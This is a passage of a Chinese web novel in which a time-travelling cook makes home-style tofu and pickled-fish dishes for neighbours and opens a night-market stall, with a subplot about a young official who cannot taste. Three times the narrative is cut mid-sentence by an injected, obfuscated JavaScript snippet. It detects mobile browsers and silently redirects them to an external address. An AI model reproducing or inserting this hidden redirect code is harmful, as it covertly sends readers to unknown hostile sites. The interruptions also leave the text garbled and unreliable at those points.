连池见他答应，高兴地蹦起来，飞快地把渔具包袱安到驴背上，又轻拍两下，示意沈寻上驴：“大人快来。” 沈寻却摆手：“你骑吧，我给你牵着。” 连池瑟缩了下脖子。 这换作平日里是无妨，可万一给郎君看见，他家大人又得挨上好一顿数落。说他不懂管教下人，不懂得主仆有别…… 他可不想让大人平白挨骂：“大人何必揶揄奴，奴懂的。咱慢慢走回去，慢慢的。” * 沈家宅院，沈父在堂屋等候许久，始终不见人来，已然耐心全无。 沈老太太倒是没有半点埋怨。她午后吃了一碗槐叶冷淘垫肚，如今不饿也不乏。 劝道：“觅之公务繁忙，耽搁了也是常事。你这个做父亲的，怎得这点都不晓得体谅。” 沈父一肚子窝火：“我天刚黑就派人去寻过。大理寺那地方一盏灯都没有，可见里头已是人去楼空。我看他就是不肯回家，又和上回那样，慢悠悠地逛了大半个汴京，非得熬到半夜三更，才舍得回来。” 沈老太太叉腰起身，弹了他儿子一个脑瓜崩：“上回那是我外出礼佛不在，今日既是以我的名义去叫的，保准能早些过来。” 正当宅子里的两人争执不休时，外头传来了驴子立定的咴儿咴儿叫声。 沈父更是气不打一处来：“你说说。好好一个大理寺少卿，放着自家马厩里多少珍稀名马不骑，非要骑那头不识路还总掉毛的蠢驴。要给别人家瞧见，这像什么话。” 沈老太太权当耳旁风，白了沈父一眼，两腿一蹬就出去了：“哎哟我的乖孙儿啊，甭听你爹的。饿了吧，快进来。” 沈寻见着沈老太太，恭恭敬敬作了个揖，之后胳膊被老人家一扯，嗖的一阵风过，还没反应过来，就坐到了席上。 十道大菜已经上桌。梅子青釉色的瓷盘里，盛着炙羊肉、莲花鸭签、沙鱼两熟等，都是一等一的好菜。 可到了沈寻面前，只觉得荤腻厚重。执箸入口，果然一如往常，索然无味。 沈老太太面露不满：“不是说了么，要准备汤水，汤水。觅之只喜欢吃那些汤汤水水的，这些荤油味大，生冷腥膻的，他吃不下。” 沈父一脸冷肃，仿似要滴出水来：“您就惯着他。这么大人了，就算口腹之欲不得足又如何。与长辈一同进食，还非摆出一副冷硬的嘴脸。要我说，这顿饭，就是不爱吃，也得给我都吃进去。” 沈寻一言不发，默默续着吃了几口。 味如嚼蜡。准确的说，他连蜡是什么味道都不知道。这就是他与旁人的不同。 上天赐予他一副异于常人的聪慧头脑，却回收了他品尝五味的先天之能。看过大夫，求过神佛，却无一生效。 因沈父视这个缺陷为人身之耻，沈寻被勒令，不许在旁人面前表现出自己没有味觉这事。当旁人大快朵颐之时，他只能硬着头皮咀嚼口中的吃食。 为了减少进食过程带来的痛苦，沈寻打小养成了吃快饭的习惯。结果还没长到七岁，就得了严重的胃疾。每逢夜半时分，总腹痛难耐，辗转难眠。 之后进了太学读书，得以和沈父分居，他便爱上了吃汤水。 汤水利于吞咽，尤其是放了少量胡椒的鱼汤。鱼肉和鱼骨都融化在了汤里，喝起来醇香顺滑。睡前来上一碗，还能缓解胃痛。 但沈父总不乐意见他吃得与常人不同，为这事没少苛责打压。 因此他躲着避着，庆幸在太学读书期间，考上了童子科进士。获官家恩典，任尚书工部员外郎、直龙图阁、知嘉州事。[注]得以赴任蜀地，捡了多年的自由。 十年后重返汴京，业已长大成人。 官至正五品秘书省监，知大理寺少卿事后，便以大理寺公事繁忙为由，在旧曹门边的枣冢子巷里，租了一间小苑定居。 如今二十二岁，对于沈父的言行种种，沈寻习以为常。 他与沈父本就无甚感情。尤其七岁那年，生母病重。沈父明明能请郎中医治，却一拖再拖，拖到母亲咽气。 等他从太学回来，母亲已被拉去城外，烧成一抔飞灰。而家中多了一棵枣树，祖母要他对着枣树磕头，因为那棵树下，埋了母亲的衣冠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128018|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他始终不解沈父为何这般绝情。唯一感激，便是家中做的是衣料生意，提供了足够的银钱，送他进太学读书。 他对沈父的所有忠孝，都打这些银钱来，仅此而已。 沈老太太见他食不下咽，拍拍他的胳膊：“觅之啊，吃不下就算了。但不能饿着自己啊，一会儿回去，路上买碗馉饳儿，再来杯香饮子喝。都是汤汤水水的，一顿就过去了。” 谢过沈老太太，在沈父灼热的目光中，沈寻躬身离开。 连池牵着驴子在外头等，见他出来笑嘻嘻的：“大人今日比前日出来得更快了。奴寻思，都不用带驴子进去吃草料了，就在外头等，不用耽搁，立马就能走。” 沈寻默不吭声，翻身上驴，任由连池牵着走。 隔日，江记豆腐铺子生意大好。 只因铺子里多添了一样平日里没有的腐竹，许多周边街邻都来凑热闹尝鲜。 宋时已经有腐竹了。毕竟早在隋末唐初那会儿，腐竹就已在浔州，也就是后世的广西桂平市问世。 但或许由于古代的信息传播速度慢，这东西的做法始终没传到汴京来，因此在这一方天地，腐竹还属于稀罕物。 江知味延续了传统的制作工艺，取天然井水煮豆浆，之后捞出表面凝结的那层皮子，便是后世常吃的腐竹。 甚至没等晒干，就来了不少人把腐竹打包买走了。 巳时未至，豆腐铺子里，除了凌花偷偷留下的一点儿豆腐，别的都被扫荡一空。 她怕仅剩的一块老豆腐也和腐竹一样被人抢去，匆忙安上门板闭门谢客，转头和两小只一起守在灶房门边等吃了。 此处，江知味乌发束起，正卷起袖管，披上围裙，等待大显身手。 今日要做的是家常豆腐。 豆腐需得切成厚片，这样下锅煎的过程中不容易煎碎。原本应该下入的青红椒，因宋时还没引进，被江知味用切片胡萝卜替代。 早市买来的青蒜已经根叶分离。泡发的木耳、姜末和蒜末，都整齐地码在一旁等候下锅。 宋人爱好做酱，像后世常吃的豆瓣酱，在这会儿几乎家家户户都有。而家烧豆腐的关键，就是那一勺浓浓的豆瓣酱，也是整道菜咸味的主要来源。 热锅下冷油，等铁锅整个儿润透，便可逐个下豆腐，煎至两面金黄。 捞出备用后，锅里留有底油。放入切好的五花肉薄片，煸出一层薄薄的猪油来。之后下入姜蒜末炒香，挨个放入研碎的豆瓣酱、酱油、清水还有少量白糖。 此时，家常豆腐的香味已至全盛，惹得门外等吃的三人争相咽起口水。江晓更是馋得双眼发直，两腿扑腾着就要往灶房里跑，被凌花两手扒门，死死拦住。 江知味笑看他们一眼，手边搅弄个不停，转头听见了锅里咕嘟嘟的水沸声。 旋即揭开锅盖，下入豆腐、木耳，煮个片刻，再加入切好的青蒜、胡萝卜，待大火收汁后，淋入了小半碗豌豆淀粉水勾芡。 如此便可出锅了。 出锅后的家常豆腐油光锃亮，每一块豆腐都保留着原本的完整形态。往碗里一装，配菜色泽鲜艳，豆腐金黄莹润。衬得缺了口的陶碗，都变得明亮贵气起来。 江知味笑得灿烂，端起盛满豆腐的海碗，对灶房门边挤得不可开交的三人略一摇晃：“娘，暖姐儿，晓哥儿，开饭啦。” 5. 来客人了 两小只登时有如出膛的箭那般，弹射到了她跟前。 凌花以手作扇，一个劲儿地往脸上扇风：“你可得谢谢我，方才要不是我死命拦着，这俩毛头急得都要跳锅里去了。” 江知味略略一福身：“谢过娘亲啦。不过灶房这地方，孩子们还是得少来。毕竟地方小，转身多有不便。锅里烧的还都是热油，万一磕着碰着，麻烦。” 江暖点头道：“二姐姐，以后你做饭，我只在门外等。” 晓哥儿也紧随着：“二姐姐，我也在门外等。” 要不是手上都是油，江知味真想掐一把俩孩子发面馒头似的腮帮子。 这么听话的小孩子还真是少有呢。 上辈子她在外婆的知味楼里，就碰上过不懂事的熊孩子冲进后厨，撞翻了开水锅烫脱了一层皮的事儿。 后来家长闹得厉害。他们赔了一大笔钱，孩子在医院也受了不少罪。可这事儿的根源真的是熊孩子吗，也不一定，归根结底，还是因为监护人不作为。 这样看来，凌花真的把家里的孩子教育得很好。 就比如现在，两小只也很自觉地跑去洗手，之后才跑向饭桌。 一家人围聚着，各自用餐。 江暖盯着豆腐，满脸虎视眈眈。 为防夹着的豆腐碎掉，她小心翼翼挪动筷子，好不容易把豆腐挪到嘴边，又一不小心，把身前的饭碗打翻了。 饭碗像不倒翁似的歪了个儿，有几粒米从手边跑了出去。 她眨眨眼，把掉出去的米粒捡回来吃掉，又舔舔手指，因尝到了酱汁的味道，忍不住往指头上吮吸了两口。 江知味看笑了，舀了一勺家常豆腐，扣在米饭上头：“暖姐儿，要这么吃。” 豆腐被木勺捣碎，与米饭混在一处。酱色的汤汁将米粒儿浸透，将每一粒米都衬托得油润又饱满。 江知味就这么一勺挖下去。 米饭的香味与豆腐的酱味已是浑然一体。煎得金黄的豆腐皮，在唇齿间散发着微微的焦香。里头是极为嫩软的芯子，在舌头上来去匆匆。 果然放了豆瓣酱，不用放盐，吃起来也咸淡正好呢。 江暖有样学样，小手颤巍巍地举回来一勺豆腐，还特意多舀了两勺胡萝卜和木耳。拌一拌，再往嘴里塞，塞得腮帮子比平时更加肥圆，眼睛也是圆溜溜瞪得老大。 嗫嚅不清地说道：“好次。” 再埋头下去，吃得脸上猫儿似的也不顾。 江知味看着奋力吃饭的两小只，挨个摸了摸他们头上的发髻。一人头上七八个，跟旺仔小馒头似的，还怪好摸的。 满足地收回手来，她就着汤汁又吃了大半碗米饭，这才摸着滚圆的肚子，瘫倒在了椅子上。 舒坦。 “嗝。” “有人在吗？” 叫门声与打嗝声同时响起，凌花立时放下碗筷，走去开了院门。 门外站着一男一女。 男子大约二十出头的年纪，头戴粗布裹头，身着褐色短衣与长裤，以布围腰，着一双草编蒲鞋，手里还拎着一条手臂粗长的草鱼。 女子瞧着与其年龄相仿。头顶大福盘髻，束红色发带。身穿浅绿色薄衫，套藕粉色襦裙。 她面上瞧着有些羞涩，探头探脑地朝院子里看来。 江知味觉得眼生，却见凌花热情地同他们招呼起来。 “哎哟，怎么把你俩给盼来了。新娘子真美啊，快进来坐。” 来人也客气，伸手就递给凌花一条鱼：“没耽搁婶子家吃饭吧？这条鱼您拿着，阿叔这阵子可有好些？” “都好，都好。你说你，来就来，还这么客气。” 凌花推辞了一番，到底把鱼收了：“都来打个招呼啊。哎哟还没介绍，这位啊，是我的二女儿江知，还没见过吧。知姐儿，这位是咱家东边那户的邻居，刘庆年，三个月前搬来的，你叫刘大哥就好。旁边这位是……” “花儿婶好，叫我容双就好。” “哟，不仅生得好，名字也好听。暖姐儿晓哥儿，叫容嫂嫂。” 双方就这么你来我往地寒暄了一番。 江知味想起来了，这俩应当就是前阵新婚的夫妇吧。他俩并不在前几日前来探访的街邻里，当时凌花还特意为他们解释了。 说新婚夫妇礼仪繁多，除了大婚当日，后面还有许多仪式要走，就没时间过来了。 今日得见，果真这夫妇俩瞧着都有些憔悴。看来结婚也是一件力气活，从古至今都一样。 凌花搬来两张竹凳，让夫妇俩在院子的阴凉处坐下：“我们这刚吃完朝食，也没什么好招待的。我去倒壶茶水来，你俩且等等。” “花儿婶不用麻烦。我俩就是听说知姐儿前阵子醒了，一直没来看过，心里过意不去。” “那有什么。”凌花一挥手，“你俩都好吧。唉，我怎么瞧双儿脸色不大好，可是最近累着了？” 容双微微一笑，神情却僵硬：“倒也不是累着。只是最近害喜得厉害，总吃不下饭。” 说完还瞟了刘庆年一眼。顿时，那人黝黑的脸上，浮上一道诡谲的红晕。 气氛略有些古怪，凌花同江知味相视一眼。什么情况，成婚不到半月，就开始害喜了？ 当然，母女俩谁都没把这话说出口，只心照不宣地一个打扫桌子，一个拾掇茶水，企图用忙碌来缓解尴尬。 直到容双又幽幽地来了句：“花儿婶，知姐儿，不知家里今日朝食吃了什么，我隔墙闻着，怪香的。” 江知味正要搭话，哪料两小只齐齐地开了口：“容嫂嫂，我们吃了家常豆腐。” 容双饶有兴致地左拥右抱，摸摸左边江暖鼓囊囊的小肚子，又捏捏右手边江晓浑圆的腮帮子：“只吃豆腐啊，豆腐竟能做得这么香。” 被摸得痒了，江暖扭了下身子，皱着脸嘎嘎直笑：“嫂嫂不知道，我二姐姐可会做吃食了。不管做什么吃食，都一等一地好吃。” “嗯……比樊楼的吃食还好吃吗？”容双逗小孩上瘾，又伸手去掐她胳膊上的厚肉。 江暖理不直气也壮，声音比方才更加洪亮：“比樊楼好吃得多。” “屁大点孩子，哪里吃过樊楼的吃食。这丫头嘴快，双儿莫要听她瞎讲。”凌花拎了茶壶回来，“既是害喜，我就没准备茶叶。来，喝口荔枝水吧。” 容双微微颔首，接过茶碗。 荔枝水酸口，喝着果然清爽。但此时此刻，她的心思完全没放在两家人的闲话谈天，也没放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128019|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荔枝水上。 她的馋虫已经被家常豆腐的香味彻底勾了出来，对江知味的手艺那是越发好奇了。 江知味也恍然了解他们真正的来意。看着屋檐下吊着的硕大草鱼，回头对上容双殷切的目光，又看见她咽口水时上下翻腾的喉结，果断起身。 “娘，这鱼这么大，放久了要不新鲜了。我一会儿就去杀了，做酸菜鱼吃。但家里大的小的就这么几个人，这么大条鱼，吃不完也浪费，容嫂子午间不如留下，在家里吃顿便饭？” 容双喜出望外，眼角的笑纹都藏不住了：“诶，好，好。” 又拍刘庆年一把：“还不帮人家杀鱼去。” “这就去。”刘庆年嗖一下接过鱼，回头同江知味解释，“知姐儿不知道，我做的就是贩鱼的生意。不是我说大话，我这人不仅养鱼在行，杀鱼更是一把好手。也不知这酸菜鱼，是要鱼块，还是鱼片？你跟我说说，保准给你杀得好好的。” 江知味打量他一眼：“要切得骨肉分离。鱼肉呢，不能片得太薄，也不能太厚。厚了不易入味，吃着也柴。薄了又容易煮碎，影响卖相。” “剩下来的鱼头和鱼骨也不能丢，都得拿来做汤底的。” 刘庆年连声应着“好”，转头从灶房里搬了砧板和菜刀出来，在井边杀起鱼来。 容双闻不了腥味，掩着鼻子拉着江知味，躲到了一边。 两个孩子围着刘庆年，看杀出来的鱼鳔，雪白□□的那么大一个，饶有兴致地拿指头戳了又戳。 凌花笑看了几人一会儿，到屋里起开腌菜坛，摸出老大一棵腌菜，洗净后放到了灶台上：“知姐儿，看你的了。” 江知味点头，打量的目光还落在刘庆年身上。回过神来，手还被容双攥着。两相一对视，都情不自禁笑出声来。 刘庆年的鱼很快杀完。果然骨肉分离得干净，肚子里半点黑膜与血水都无，鱼皮却是保留得完整无缺，鱼片的厚度亦是处理得恰到好处。 江知味默默竖起大拇指，把容双交待了回去，一人进了灶房，开始了新的忙碌。 锅中放油，下入切好的葱、姜、酸菜和茱萸，一并炒香。 宋时没有辣椒，胡椒此物又贵比黄金，因此民间想吃口辣菜，多用姜、茱萸等来调味。 家中有两个小孩子，还有一个还在害喜的孕妇。江知味不敢将酸菜鱼做得太辣，空口尝了干茱萸的辣度，严格控制了它的用量。 等酸味辣味都被热油激出来，放入鱼头和鱼骨，炒至双双变色后，便下一大碗清水，以及适量酱、盐、五香粉和些许白糖，用以调味增香。 之后压小火慢炖即可。 江知味做酸菜鱼，喜欢把鱼骨和鱼头放在锅里多熬煮一会儿，这样一会儿就能先把鱼头捞出来，既不占用锅碗的空间，又能让汤汁的味道更浓。 等待的工夫，她涮了手，从灶房门边向外看去。 凌花不见了踪影。容双则是卷着袖子，坐在水井边，和两个孩子争相泼水，玩得十分开心。 刘庆年双手插在胸前，在墙边靠着，也如江知味一般，看着他们玩闹的温馨画面。与她相比，更是笑得不见眉眼。 江知味收回视线。 倒不像个渣男。不确定，再看看。 6. 酸菜鱼 锅里的鱼骨熬煮得差不多。 这期间，江知味把一会儿要下的配菜都洗好了。有豆芽、青菜、黄瓜，还有吃剩的一根胡萝卜，和自家过年腌的酸白萝卜，都切成条，像砌砖上墙一样层叠码好。 酸菜鱼这东西在后世太常见了，做法也是五花八门，谁都说不出谁家的最正宗。反正依江知味的个人口味，就是往里头添尽可能多的配菜。 这样吃起来跟一锅出似的什么都有，就不需要额外添别的菜了，更能满足难调的众口。毕竟她见着江暖挺喜欢吃胡萝卜的，而她最喜欢的，是酸菜鱼里头吸饱了汤汁的豆芽。 捞出鱼骨，等各种菜蔬在鱼汤里烫熟后，放入提前腌好的，片得纸薄的鱼肉。煮上片刻盛到碗中，撒上蒜末、芫荽、花椒和少量白芝麻，来一勺滚油，哗的泼下去，便能激出又麻又香的香料味。 可把外头的几人给香迷糊了。 容双一脸眼馋，半支起身，盯着酸菜鱼不放。反倒两个小娃娃显得淡定许多，毕竟刚吃过朝食没多久，五脏庙还不算太空。 但真当江知味捧着海碗凑近时，两小只还是被酸菜鱼的香气勾丢了魂。 家里吃粥的海碗不够大，江知味装了两海碗的酸菜鱼，还剩了些许在锅底。 刘庆年眼见出来了一碗里头还有一碗，连忙过去搭手。 到这会儿，江知味还是没见着凌花的身影，不禁问道：“我娘呢？怎么放着客人在家，自己跑没了。” “这儿呢。”凌花从卧房里出来，“你爹今日胃口不错，吃了许多，人也精神。我就给他开了窗户晒晒太阳，与他说说话，顺便开了门，叫他看看孩子们。” 江知味回过头去，果然江大今日目光炯炯，嘴唇看着都有血色了，比之先前的病态好了不少：“看来这回赵太丞家的药吃得还可以。” “哪是啊。”凌花笑道，“他见你全须全尾地醒了，又不用再吃我喂的猪食了，可不高兴么。” 江知味被凌花的幽默逗乐了：“娘，哪有这么说自己的。” “你不用宽慰我，我的厨艺，我自己知道。暖姐儿晓哥儿，你们说呢。” 江暖捂着嘴，瞪圆了眼睛一声不吭。江晓刚要开口，被眼疾手快的江暖拿另一只手一并捂住。 身边的几人都跟着笑。 凌花被笑得不好意思起来：“酸菜鱼要趁热吃，我去盛饭。” “婶子坐，我去就是。” 刘庆年忙前忙后，像在自家一样，先打了井水给容双和孩子们洗手。又在灶房里好一顿翻找，拿了几个空碗，盛饭分饭。 之后又管凌花讨了一把蒲扇来，坐在一旁给容双扇凉。 容双倒像习以为常一般，与凌花和江知味客套一番后，自顾自地端着饭碗，吃起酸菜鱼来。 汤汁入口酸爽，一口下肚，旋即打开了原本沉闷的味蕾。 鱼肉嫩滑非常，拿舌尖轻轻一抿，便轻易地化开来。其本身的细腻与汤汁的浓郁配合得恰到好处，三两下就能配下去大半碗米饭。 见容双只浅尝于酸菜鱼的表层，江知味提醒：“真正好吃的在底下呢。” 闻言，容双举着筷子往深处探去。 筷子带上来一串丝网似的豆芽缠青菜，每一根都烫得爽脆挺扩。再吃上一根黄瓜段，亦是煮得十分生脆，咬开来满是黄瓜独有的清香。 里头的酸萝卜更是点睛之笔。因煮制作时间不长，酸萝卜的酸味并没有完全弥散在汤里。一口咬下去，酸汁四溢，更是无比开胃。 容双这会子吃的，哪还有半点害喜的模样。只知道一口接一口，吃了许多鱼肉与配菜。还专程舀来酸汤浇在米饭上，三两口的，又下去了半碗饭。 刘庆年眼中大喜，不禁感慨：“已经许久没见到娘子这般好胃口了。自打娘子害喜，每回在家，吃进去的米饭最多不过半碗。如今一人吃两人用，吃少了总是饿得心慌，再要多吃些又食不下咽，外头买过几回吃食也都不成。今日可算是好了。” 凌花也道：“那就好。你也别光扇扇子，来，吃点。” 刘庆年只笑。直到容双放下筷子抹了嘴，才动筷吃他自己的。 先吃了两块鱼肉。这鱼肉方才他处理时特意去除了小刺，吃起来毫无后顾之忧。 因在汤汁里泡得久了，此时的鱼肉略有些辣度。越往底下吃，酸度也比先前更浓，吃起来酸辣带劲，很是过瘾。 他饭量不小。本想着到别人家里做客，要收敛着些别吃太多。没想到竟高估了自己的自制力，也低估了酸菜鱼这种下饭菜的玄妙威力。 于是吃完一碗，完全无法克制地，又吃了第二碗、第三碗。 能吃是福。凌花看这夫妻俩大快朵颐，心中俱是满足。再仔细瞅瞅，用过午食的容双，这脸色瞧着明显比先前好了不少。 连刘庆年都跟着红光满面起来。看来先前是担心容双，这才满脸忧色，跟着憔悴犯愁呐。 江知味也留意到了这一点。经过这一顿饭的观察，夫妇两人的相处确不像是装出来的。倒显得她有些小肚鸡肠，莫名给这么个殷勤的好丈夫，扣上了个“渣男”的名头。 可到底宋朝还属于封建王朝，未婚先孕在这会子不属于什么光彩的事。这夫妇二人到底经历了什么，或许只有他们自个儿清楚了。 江知味暂时收起自己的“多管闲事”，转头看向江暖和江晓两个小毛头。 尽管她严格控制了茱萸的用量，还是把不能吃辣的两小只，辣得斯哈斯哈直响。可即便这样，两人还是一边淌着热汗，一边在海碗里尽情地拣鱼肉和胡萝卜吃。 到最后，竟把两大海碗的酸菜鱼吃了个空，仅余下碗底的一点儿酸汤。 要还有余力，江知味会拿这酸汤泡点儿面条吃。可这会儿，她撑得半点战力都无。再看其余几人，同样懒懒散散，瘫倒在竹椅上一言不发。 抬头望天，已至正午时分，正是午睡的好时候。 几人吃了许多酸汤泡饭，都有些晕碳，便在寒暄后散了场。 午间的横桥子东巷静悄悄的。白日里嗡鸣的鸟儿，黄昏时鼓噪的鸣蝉，此刻都躲在树荫里打盹。 卧房里有些闷热，江知味将竹席搬到了屋檐下的阴凉处。两小只挨着她，在地上睡得四仰八叉。 时间在这一刻软了下来。她仰起头，越过院墙，看向澄净的蓝天。 没有云，天空像被井水洗涤过，蓝得透明。有风拂过院墙外的老槐树，吹着树影一点点倾斜。 等风停了，不远处的人家飘来饭食的香气。升起的炊烟，在半空中袅娜上旋，愈来愈淡，直至消失不见。 此时已至黄昏。 容双坐在床榻边，手持一块水蓝色的麻布，上头“江记小食摊”这五个字，临要绣到尾声。 她已经绣了一下午了。 刘庆年要她休息，她屡劝不听。她想赶赶工，一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128020|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿就把小摊的招子送去。毕竟明日，江知味定的那一干物件就要回来了。 用饭时聊起，江知味在横桥子夜市上的摊子，将要安置落地，独独漏做了一张招子。 原本她想做一块木头招子，可家里余钱不多，木头招子又价贵。定木头做招子还需要时间，越是耽搁，家里就越是少个进项。 容双听着，便想着做一块布招子给她送去。 一开始只想绣五个招牌字，绣完后又觉得太单调了，便在空余布匹的角角落落，用淡色的丝线，绣了碗筷和肉蔬。 这样一看，色彩丰富了，花样也更繁多了。 可到底有了身子就是不一样。容双刚一停下，就觉得身上疲累极了。这招子她是送不成了，只能遣刘庆年送去。 天快黑时，江家的院门又被敲响了。 江知味才方收拾好锅碗灶台，手上还湿着。听见敲门声，双手在围裙上一抹，就跑去开了门。 “知姐儿，这是双儿给你的。”刘庆年递过一卷招子。 江知味一脸茫然地打开，之后笑得眼都瞧不见了：“我正犯愁呢，你俩可真是及时雨啊。容嫂子人呢，我可得好好谢谢她。” 刘庆年只道：“她在家歇着。知姐儿我就不留了，还得回去给双儿做晡食。” 他风风火火招呼了声，转身就回了自家屋子。 * 隔日一早，江知味就来了铁匠铺。 拿回三日前定的铁板后，这些摆小摊用的一干物件，总算是凑齐了。 给铁板开锅后，她和凌花一起，把炭炉、铁板，还有定制的木架子都装到平头车上。 这木架子专门做了三层。表面那一层，可以帮助固定炭炉和铁板，放调料盒、酱料罐、铲子和刷子，以及葱花、芫荽等能放在竹篮子里的小菜。 中间层放食材，不仅相对隐蔽，在泥地上来往，也不至于沾灰。 底下那一层，用以固定水缸，还能放置抹布、垃圾麻袋等一应小物，碗筷也能摞好放在上面。用时抽出来，洗完放回去。不至于叫所有杂物都放在台面上，影响食客的观感。 最后挂上“江记小食摊”的招子。 江知味欣赏着自己的作品。 整个车子被改造得像模像样，有后世小吃车的味道了。唯一缺点就是有点儿沉，起步的时候需要使上一股牛劲，才能让车子开始挪动。 凌花有些担心：“这么沉，要不今晚上，娘陪你一道出去吧。” 江知味狡黠一笑：“娘，您就放心。这都不是什么大事。您就带着暖姐儿晓哥儿，去捧捧场等吃就行。” 好歹是做厨子的，江知味身上有的是力气。她十分庆幸穿越后的这具身体与她前世一般胖瘦，不至于让她变得弱柳扶风。说起话来，亦是底气十足。 凌花也笑：“既是捧场，只咱们一家人怎么够。晚点儿我把你刘大哥和双儿叫上，还有住巷口的王嫂一家子，还有你周婶、李二狗、冯四娘他们。等等还有啊，我想想……” 她掰着指头细数了许多人，大抵把熟悉些的街邻都算了个遍。 江知味哄着她：“都好，来了热闹。咱们开业还有大酬宾呢，多买多实惠。” “那我先去同他们知会一声，免得夜里冷场。”凌花性子也急，说着说着，人就没了影。 一切都准备完妥，只需要静等天黑。天黑以后，属于江记小食摊的夜晚也就开始了。 7. 小摊落地 夜色降临，才方歇下的炊烟，此刻又在横桥子上翩然升起。叫卖声说笑声往来不迭，辉煌的灯火照得整座桥头好似白昼。 此处早前便有卖猪胰胡饼、菜饼、果木翘羹、香糖果子的各色吃食摊子，还有卖头面、冠梳、领抹的衣饰摊子。兜售古玩字画的也有，不过大多卖的是何娄，实难压上正宝。[注] 其中生意最好的，当属十文钱三样卖日用品的摊子。 那摊主在地上垫了块衬布，将牙刷、牙粉、陶盆等物平铺在上面，任凭客人挑选。却在结账时，指指“十文钱三样”后的小小一个“起”字，叫好些客人大呼上当。 江知味来时便没抢着好位置，便把车子停在了横桥子下的表木间，拿石头固定了轮毂，又将遮风挡雨的大伞，支在了车子上缘。 之后在老大一块铁板上刷满菜籽油，铺上了切成薄片的豆腐。 用铁板做菜这事儿在宋朝并不常见，因此刚开火没多久，便有操着好奇眉眼的客人围了来。 “小娘子这是在做什么？” 江知味爽快答道：“铁板豆腐，小份一块豆腐两文钱，大份两块三文钱，很快就能出锅。客官可要来一份尝尝？” 那人盘算了片刻，道：“那还是大份划算，但我一个人吃不完。娘子且等等，某去寻个友人来，一并品尝。” 就见他一阵风似的走了，再没影踪。 江知味的头一位客人就这么不翼而飞。却不见她泄气，而是举着小铲，将铁板上的豆腐匀匀地翻了个面。 原先在底下的那面豆腐，如今已呈现出金黄的焦皮。随之溢出的，还有阵阵馋人的香味，霸道地在横桥子上游走，钻进了每一位过路人的鼻腔。 杨三刚背着木箱子走到桥头，就闻见了一阵阵若有似无的焦香。肚子恰合时宜地咕咕叫起来，总算来的是个时候。 杨三今日万分不顺。 午后算卦，算及那人三年前曾有一个遗落在外的孩子，相当委婉地旁敲侧击了一下。却被这人的夫人掀了摊子，不仅没给卦金，还挨了好一顿骂。 灰头土脸地回家，想着去徐家瓠羹店吃碗羹，顺带啃根大骨头。好不容易走到店门前，流了一身臭汗，却看见了人家今日店休的牌子。 到那会子，杨三胃口全无，只想着往肚子里灌点儿凉水。 谁知刚寻了个香饮子摊子，那摊主就因支摊在表木外头，连人带摊地被街道司拎了去，连带着他付过银钱的香饮子也没了下落。 杨三丧气极了，干脆饿一饿自己，寻思等晚些时候，再到夜市上寻宝。没想到还真给他碰上了，这股子此前从未出现过的香味。 天意，都是天意啊。 顺着香味，杨三翻过横桥子，直至那油香味愈来愈浓，最后定格在了一家卖煎豆腐的摊子前。 摊子前排了长龙似的一条队伍。 那肤白脸圆的小娘子，熟练地把豆腐分成规整的长方块，又持一柄木刷，从陶罐中蘸取了深褐色的酱汁，如作画那般，匀匀地刷在豆腐上头。 风一来，顿时浓香大作。就是这儿了。 杨三乐颠颠地凑近了，倾耳一听。那小娘子音调婉转，仔细地照顾到了摊子前每一位客人的口味：“客官可能食辣？葱和芫荽都要否？” 对面站着的肥头大耳的郎君，盯着铁板上滋滋冒油的豆腐，眼都看直了，口中嗫嚅着：“都要，都要。” “好嘞。”那小娘子答道，在其中一片豆腐块上，撒下一把红彤彤的干料，又添上一小把葱花和芫荽，麻溜地将那块豆腐盛至碗中，“好嘞，您的铁板豆腐。收您两文钱，您一旁慢吃，吃完把碗筷搁在木桶里就成。下一位。” 杨三目送那肥头郎君兴高采烈地走到一边，也像身边那些还在列队等吃的食客一般，垫脚看他手里捧的铁板豆腐。 老大一块豆腐，上头裹满了酱汁和干料，颤巍巍地躺在碗中。 那郎君埋头下去，饿狼扑食一般，一口啃掉了大半。眼见他仰起头来，瞬间两眼放光，没多少咀嚼，便复又张口，将碗里余下的豆腐吞吃入腹。 自此，他唇边的须子上沾上了不少酱料。 又见他意犹未尽地将唇边的酱料都舔完，高举着碗筷，对那圆脸小娘子高喊了一声：“再来一大份，不，两份！” 那小娘子柔声应他：“那客官得先把碗筷归还，然后重新排队哦。” 肥头郎君当即愤愤，看着愈发变长的食客队伍，一脸不情愿地把碗筷归还到木桶中，摇头晃脑地往人群后头走。 杨三眼疾手快，站到了他跟前。 他瞧着铁板上拢共没几块豆腐，还有这么多人等吃呢，能不能排上还另说。只恨自己方才愣神，叫好些个食客得了机会，排到了他前头去。 